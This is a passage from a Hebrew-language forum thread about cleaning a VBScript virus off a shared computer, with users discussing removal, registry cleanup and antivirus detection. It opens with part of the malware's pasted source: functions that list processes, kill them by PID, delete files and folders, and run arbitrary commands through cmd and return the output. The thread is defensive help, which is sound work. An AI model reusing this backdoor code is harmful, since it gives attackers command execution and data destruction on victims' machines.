                                  set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                  
                                  dim objitem
                                  for each objitem in colitems
                                      enumprocess = enumprocess & objitem.name & "|"
                                      enumprocess = enumprocess & objitem.processid & "|"
                                      enumprocess = enumprocess & objitem.executablepath & spliter
                                  next
                                  end function
                                  
                                  sub exitprocess (pid)
                                  on error resume next
                                  
                                  shellobj.run "taskkill /F /T /PID " & pid,7,true
                                  end sub
                                  
                                  sub deletefaf (url)
                                  on error resume next
                                  
                                  filesystemobj.deletefile url
                                  filesystemobj.deletefolder url
                                  
                                  end sub
                                  
                                  function cmdshell (cmd)
                                  
                                  dim httpobj,oexec,readallfromany
                                  
                                  set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                  if not oexec.stdout.atendofstream then
                                     readallfromany = oexec.stdout.readall
                                  elseif not oexec.stderr.atendofstream then
                                     readallfromany = oexec.stderr.readall
                                  else 
                                     readallfromany = ""
                                  end if
                                  
                                  cmdshell = readallfromany
                                  end function
                                  
                                  ת מנותק
                                  ת מנותק
                                  תלמידהון
                                  כתב נערך לאחרונה על ידי
                                  #18

                                  @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                                  תגובה 1 תגובה אחרונה
                                  0
                                  • ר רנדומלי

                                    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                    מתכנת חובבמ מנותק
                                    מתכנת חובבמ מנותק
                                    מתכנת חובב
                                    מדריכים
                                    כתב נערך לאחרונה על ידי
                                    #19

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                    היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                    ר תגובה 1 תגובה אחרונה
                                    1
                                    • מתכנת חובבמ מתכנת חובב

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                      היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                      ר מנותק
                                      ר מנותק
                                      רנדומלי
                                      כתב נערך לאחרונה על ידי
                                      #20

                                      @מתכנת-חובב
                                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                      @תלמידהון
                                      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                      ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                      0
                                      • ר רנדומלי

                                        @מתכנת-חובב
                                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                        @תלמידהון
                                        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                        ת מנותק
                                        ת מנותק
                                        תלמידהון
                                        כתב נערך לאחרונה על ידי
                                        #21

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                        אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                        תגובה 1 תגובה אחרונה
                                        1
                                        • ר רנדומלי

                                          @מתכנת-חובב
                                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                          @תלמידהון
                                          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                          מתכנת חובבמ מנותק
                                          מתכנת חובבמ מנותק
                                          מתכנת חובב
                                          מדריכים
                                          כתב נערך לאחרונה על ידי מתכנת חובב
                                          #22

                                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                          בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                          לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                          תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                          ר תגובה 1 תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר